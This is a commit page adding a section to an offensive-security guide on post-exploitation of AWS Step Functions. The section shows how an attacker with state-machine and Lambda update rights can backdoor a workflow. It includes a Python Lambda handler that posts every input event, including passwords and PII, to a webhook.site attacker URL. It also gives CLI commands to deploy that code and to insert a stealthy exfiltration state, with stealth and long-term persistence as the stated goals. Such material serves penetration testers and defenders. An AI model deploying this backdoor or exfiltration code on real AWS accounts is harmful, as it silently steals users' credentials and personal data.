Skip to content

Commit dbc2784

Browse files
authored
Merge pull request #172 from kluo84/arte-mr.kluo-UpdateStateMachine
arte-Kluo
2 parents 58fa8e4 + 6ca3605 commit dbc2784

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,133 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
7171

7272
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
7373

74+
---
75+
76+
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
77+
78+
An attacker who compromises a user or role with the following permissions:
79+
80+
```json
81+
{
82+
"Version": "2012-10-17",
83+
"Statement": [
84+
{
85+
"Sid": "AllowUpdateStateMachine",
86+
"Effect": "Allow",
87+
"Action": "states:UpdateStateMachine",
88+
"Resource": "*"
89+
},
90+
{
91+
"Sid": "AllowUpdateFunctionCode",
92+
"Effect": "Allow",
93+
"Action": "lambda:UpdateFunctionCode",
94+
"Resource": "*"
95+
}
96+
]
97+
}
98+
```
99+
100+
...can conduct a **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation.
101+
102+
This scenario assumes that the victim uses **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
103+
104+
Example victim invocation:
105+
106+
```bash
107+
aws stepfunctions start-execution \
108+
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
109+
--input '{"email": "[email protected]", "password": "hunter2"}' --profile victim
110+
```
111+
112+
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
113+
114+
---
115+
116+
#### Updated the lambda function
117+
118+
The attacker modifies the code of the Lambda function already used by the Step Function (`LegitBusinessLogic`) to silently exfiltrate input data.
119+
120+
```python
121+
# send_to_attacker.py
122+
import requests
123+
124+
def lambda_handler(event, context):
125+
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
126+
return {"status": "exfiltrated"}
127+
```
128+
129+
```bash
130+
zip function.zip send_to_attacker.py
131+
132+
aws lambda update-function-code \
133+
--function-name LegitBusinessLogic \
134+
--zip-file fileb://function.zip -profile attacker
135+
```
136+
137+
---
138+
139+
#### Add a Malicious State to the Step Function
140+
141+
Alternatively, the attacker can inject an **exfiltration state** at the beginning of the workflow by updating the Step Function definition.
142+
143+
```malicious_state_definition.json
144+
{
145+
"Comment": "Backdoored for Exfiltration",
146+
"StartAt": "OriginalState",
147+
"States": {
148+
"OriginalState": {
149+
"Type": "Task",
150+
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
151+
"End": true
152+
}
153+
}
154+
}
155+
156+
```
157+
158+
```bash
159+
aws stepfunctions update-state-machine \
160+
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
161+
--definition file://malicious_state_definition.json --profile attacker
162+
```
163+
164+
The attacker can even more stealthy to update the state definition to something like this
165+
{
166+
"Comment": "Backdoored for Exfiltration",
167+
"StartAt": "ExfiltrateSecrets",
168+
"States": {
169+
"ExfiltrateSecrets": {
170+
"Type": "Task",
171+
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
172+
"InputPath": "$",
173+
"ResultPath": "$.exfil",
174+
"Next": "OriginalState"
175+
},
176+
"OriginalState": {
177+
"Type": "Task",
178+
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
179+
"End": true
180+
}
181+
}
182+
}
183+
where the victim won't realize the different
184+
185+
---
186+
187+
### Victim Setup (Context for Exploit)
188+
189+
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
190+
- It calls one or more Lambda functions such as `LegitBusinessLogic`.
191+
192+
---
193+
194+
**Potential Impact**:
195+
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
196+
- No visible errors or failures in workflow execution.
197+
- Difficult to detect without auditing Lambda code or execution traces.
198+
- Enables long-term persistence if backdoor remains in code or ASL logic.
199+
200+
74201
{{#include ../../../banners/hacktricks-training.md}}
75202

76203

0 commit comments

Comments
 (0)